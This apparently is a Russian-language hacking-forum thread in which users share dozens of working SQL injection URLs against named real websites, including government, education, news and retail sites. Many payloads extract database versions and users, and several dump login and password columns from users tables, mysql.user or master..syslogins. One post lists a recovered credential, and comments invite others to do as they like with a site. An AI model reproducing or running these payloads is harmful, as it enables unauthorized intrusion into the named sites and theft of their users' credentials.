SQL-инъекции

Код:

http://www.isc.org.au/display_page.php?id=-1+union+select+table_name+from+INFORMATION_SCHEMA.TABLES+limit+20,1/*

Код:

http://www.guillembalague.com/interview_desp.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12+from+INFORMATION_SCHEMA.TABLES/*

my1476340166B@localhost

 

Код:

http://www.hcch.net/index_en.php?act=conventions.authorities&cid=-1+union+select+convert(concat_ws(0x3a,user,password)+using+latin1),2,3,4+from+mysql.user/*

Код:

http://www.pogoda.ua/index.php?id=-1+union+select+1,concat_ws(0x3a,login,password,email),3,4,5+from+users/*

Код:

http://www.shoesandblues.com/lovesound/entry.php?id=-99999+union+select+1,2,concat(login,0x3a,password),4,5,6,7,8+from+users--
http://www.shoesandblues.com/lovesound/entry.php?id=-99999+union+select+1,2,concat(author,0x3a,password,0x3a,id),4,5,6,7,8+from+blog--

Код:

http://www.alwg.cap.gov/index.php?menu=-90+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4,5/*

 

Код:

http://www.screenroom.co.uk/php/id.asp?id=-1+union+select+1,2,user(),4,database(),version(),7,8,9,10,11,12,13--

//это моя первая inj, если что то не так - скажите. бу

 

Код:

http://www.uplandsgallery.com/artists_details.php?id=-12+union+select+1,concat_ws(char(58),version(),user(),database()),3,4/*

Код:

http://www.somachlaw.com/attorneys_bio.php?id=-12+union+select+1,2,3,concat_ws(char(58),version(),user(),database()),5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4/*

 

Код:

http://orlandokids.org/latest_infoDetails.php?id=-21+union+select+1,concat_ws(char(58),version(),user(),database()),3,4/*

 

Престижный такой сайт...делайте,что хотите

Код:

http://www.eutrainingsite.com/open_details.php?id=-2+union+select+1,concat_ws(char(58),version(),user(),database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55/*

 

edu.ru - Российское образование. Федеральный образовательный портал: учреждения, программы, стандарты

Код:

http://www.edu.ru/abitur/index.php?act=3&ds=1&isn=-1+union+select+@@version,2,3,4--

 

Газета Вечерняя Москва(SybaseSQL):

Код:

http://pda.vmdaily.ru/article.php?aid=62245+and+1=convert(integer,(select+@@version))--

 

http://www.xaker.name/forvb/showthread.php?p=73454#post73454 ?

Код:

http://futbolsoccer.aol.com.mx/mexico/apertura2005/home/index.php?t=1+and+1=convert(numeric,(select+max(na me)+from+master..syslogins))--

http://futbolsoccer.aol.com.mx/mexico/apertura2005/home/index.php?t=1+and+1=convert(numeric,(select+max(pa ssword)+from+master..syslogins))--

Код:

http://www.shmsa.gov.cn:8088/ggl.detail.php?ChannelID=754&ggl_id=convert(numeric,(select+max(password)+from+ master..syslogins))/**/

http://www.shmsa.gov.cn:8088/ggl.detail.php?ChannelID=754&ggl_id=convert(numeric,(select+max(name)+from+mast er..syslogins))/**/

 

http://www.energynsk.ru/?current=-99999999999999999+UNION+SELECT+1,user(),3
--- Радио NRJ Новосибирска. Energy - Новосибирск 99.1
--- Лень было таблицы крутить...

 

Код:

http://musiclife.ru/mp3.php?genre='+union+select+1,concat_ws(0x3a,login,pass)+from+users/*

 

ВИННИЦКИЙ ИНТЕРНЕТ-МАГАЗИН МОБИЛЬНОЙ СВЯЗИ

UnHidden Content:

Код:

http://mobivin.com.ua/index.php?page=2&id=397+union+select+1,2,3,convert(concat_ws(0x3a,login,password)+using+cp1251),5,6,7,8+from+users/*

Admin:777

Выкладываю данную скуль только в целях изучения уязвимости, т.к. по своей неопытности впервый раз столкнулся с проблемой взаимодействия форматов. Выскакивала ошибка, посмотрел примеры скули ~!Dok_tOR!~'a, за что ему спасибо, и зделал соответствующие выводы.
Отправил письмо админам сайта...

 

Код:

http://www.directtalk.ru/cgi-bin/issue.cgi?action=cat_article_only&cat_id=1+union+select+1,2,concat_ws(0x3a,user(),version(),database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+users/*

dtuser@localhost:4.1.20:dt

 

Код:

http://www.phenomental.ru/news.php?id=99999+union+select+1,2,3,concat_ws(0x3a,user(),version(),database())/*

phenomenta@localhost : 4.1.22 : phenomenta_sql

 

Код:

h*tp://www.flirtanica.ru/articles1.php?id=99999+union+select+1,2,3,4,version()/*

Код:

h*tp://www.reproductionfabrics.com/shelf.php?ID=9999+union+select+1,2,version(),4,5,6/*

Код:

h*tp://www.worstpreviews.com/review.php?id=99999+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,version(),31,32,33,34,35,36,37,38,39,40,41/*

 

Код:

http://www.djjohnaskew.com/prev_playlists.php?ID=-196+union+select+1,concat_ws(0x2F,login_login,login_password),3+from+ja_login--

не смог найти админку

 

Код:

http://www.cz-usa.com/product_detail.php?id=-66+union+select+1,2,version(),4,5,6/*

Код:

http://www.guillembalague.com/rumores_desp.php?id=-66+union+select+1,2,version(),4,5,6,7,8,9,0,1,2/*

Код:

http://www.worstpreviews.com/review.php?id=-66+union+select+version(),2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1/*

Код:

http://www.cichlidae.com/article.php?id=-73+union+select+1,2,3,4,5,6,7,version(),9,0,1,2,3,4,5,6,7,8,9,0/*

Добавлено через 1 час 56 минут

Код:

http://www.grenadegloves.com/news.php?id=-71+union+select+1,version(),3,4,5,6,7/*

Код:

http://www.conex.biz.ua/auction.php?id=-4+union+select+1,version(),3/*

Код:

http://www.media-post.net/jump/jump.cgi?www.cyberthing.net/video-play.php?id=-71+union+select+1,version(),3,4,5,6,7/*

Код:

http://www.terrorfreetomorrow.org/articlenav.php?id=-71+union+select+1,2,3,4,version(),6/*

что то мне сег везет

 

Код:

http://www.teatrdoc.ru/plays.php?id=-5+union+select+1,version(),3,4,5/*

Код:

http://www.microhydropower.net/news/viewnews.php?ID=-87+union+select+1,version(),3,4,5,6,7/*

Добавлено через 3 часа 33 минуты

Код:

http://www.spacedev.com/press_more_info.php?id=-187+union+select+1,version(),3,4,5,6,7,8/*

Код:

http://www.newarttv.com/index.php?id=-187+union+select+1,version(),3,4,5,6,7,8,9,0,1,2/*

Код:

http://www.toledocitypaper.com/view_article.php?id=-187+union+select+1,2,3,4,version(),6,7,8,9,0,1,2,3,4,5/*

 

Код:

http://mobile.jlaudio.com/products_cleansweep_pages.php?page_id=-94+union+select+1,2,version(),4/*

Код:

http://www.edusoft.ro/detalii.php?id=-94+union+select+1,2,3,concat_ws(0x2F,username,password),5,6,7,8,9,0,1,2+from+users/*

Код:

http://www.gamesfirst.com/index.php?id=-94+union+select+1,2,3,4,5,version(),7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6/*

Код:

http://www.gamesfirst.com/index.php?id=-94+union+select+1,2,3,4,5,concat_ws(0x2F,username,password),7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6+from+users/*

Код:

http://www.flirtanica.ru/articles1.php?id=-63+union+select+1,2,3,4,version()/*

Код:

http://www.christymoore.com/lyrics_tabs_detail.php?id=-78+union+select+1,2,version(),4,5,6/*

Код:

http://www.azffc.org/show_page.php?id=103+union+select+1,2,version(),4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2/*

Код:

http://www.lcoastpress.com/book.php?id=-103+union+select+1,concat_ws(0x2F,username,password),3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0+from+user/*

Код:

http://www.cra.qc.ca/newsarticle.php?id=72+union+select+1,2,version(),4,5/*

Код:

http://www.ghielectronics.com/details.php?id=-107+union+select+1,2,3,4,5,6,version(),8,9,0,1,2/*

Код:

http://www.readingmatters.co.uk/book2.php?id=-107+union+select+1,2,version(),4,5,6,7,8,9--

Код:

http://www.prewarcar.com/php/showvideo.php?id=-57+union+select+1,2,convert(concat_ws(0x3a,version(),user())+using+latin1),4,5,6,7,8/*

Код:

http://newsourcemedia.com/index_view.php?id=-57+union+select+1,2,3,version(),5,6,7,8,9,0,1,2,3,4,5,6,7,8/*

Добавлено через 18 часов 5 минут

Код:

http://www.seasideheightstourism.com/single_event.php?id=-49+union+select+1,table_name,3,4+from+information_schema.tables+limit+16,1/*

Код:

http://upi.ru/show_image_photoset.php?id=-18533+union+select+1,2,3,version(),5,6,7/*

Код:

http://www.rentinmichigan.com/detail.php?id=-164+union+select+1,2,3,4,5,6,7,8,version(),0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4/*

Код:

http://bia2.com/mp3/mp3_player.php?id=-164+union+select+1,2,3,4,5,version(),7,8,9,0,1,2,3,4/*

 

Код:

http://www.caucaz.com/home_eng/breve_contenu.php?id=-129+union+select+1,version(),3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9/*

Код:

http://www.losingtoday.com/tales.php?id=-129+union+select+1,2,3,version(),5,6/*

Код:

http://www.idahopotato.com/recipe_search_detail.php?id=-129+union+select+1,2,3,4,5,6,7,8,version(),0,1,2,3,4,5,6,7,8,9,0,1,2/*

Код:

http://www.jnht.com/heritage_site.php?id=-149+union+select+1,2,version(),4,5,6,7,8,9,0,1,2,3,4,5,6,7/*

Код:

http://www.242shop.ch/shoes_details.php?id=-149+union+select+1,2,3,4,version(),6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8/*